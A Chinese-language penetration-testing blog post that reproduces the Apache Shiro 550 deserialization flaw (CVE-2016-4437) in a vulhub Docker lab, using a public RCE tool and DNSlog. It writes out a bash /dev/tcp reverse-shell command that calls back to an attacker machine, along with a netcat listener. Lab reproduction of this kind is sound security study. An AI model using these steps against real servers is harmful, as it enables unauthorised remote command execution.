滲透測試--shiro-550漏洞復現(CVE-2016-4437)


漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

影響范圍

Apache Shiro版本<=1.2.4

參考手冊:

  • 利用鏈詳解
  • 工具

 

漏洞復現(當對漏洞了解一定原理后,以最快的方式復現)

一.使用vulhub起shiro對應環境(搭建環境可以看我上一篇vulhub搭建步驟

(1)

 

 (2)進入CVE-2016-4437 目錄 

(3)執行 docker-compose up -d (初次運行需要加載一系列文件)

(4)docker ps  查看對應的端口

 

 (5)輸入虛擬機的ip地址+端口 

xxxx.xxx.xxx.xxx:8080

 

(6)https://github.com/wyzxxz/shiro_rce 下載shiro_rce工具包

(7)解壓出來后運行工具

java -jar shiro_tool.jar https://xx.xx.xx.xx

(8)工具開啟成功,執行命令

 

 這里輸入對應的dnslog地址

dnslog也可以稱之為dns帶外查詢,是一種注入姿勢,可以通過查詢相應的dns解析記錄,來獲取我們想要的數據

這里提供一個在線生產的第三方平台

http://www.dnslog.cn/

點擊get subdomain 獲取對應的地址

 

 輸入完成后 ,enter確認命令,再點擊Refresh Record,可以看到對應的解析記錄

 

 

(9)再開一台虛擬機,用來執行反彈shell,也就是說A是我們的vulhub搭起來環境的虛擬機,B是我們控制A的虛擬機,下面XX輸入B的IP地址,8080為對應的監聽端口

    但是如果A在Linux系統中 這段代碼需要base64加密,而WIN不用加密,目前我也正在研究原因是什么,知道的大佬可以下面評論幫助一下

     這里提供一下base64加密的在線網址:  http://www.jackson-t.ca/runtime-exec-payloads.html

 輸入以下命令:bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1
base64加密后的結果為

 

   然后再另一台虛擬機B 開啟監聽端口 8080   

   命令為:nc -l 8080

 

 然后回到工具命令行:輸入加密后base64命令:

 

 最后回到虛擬機 B 會看到以下結果:

 

 成功拿到反彈shell

這時候輸入命令 查看受害機A的Docker容器下的文件 

 

 

     

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM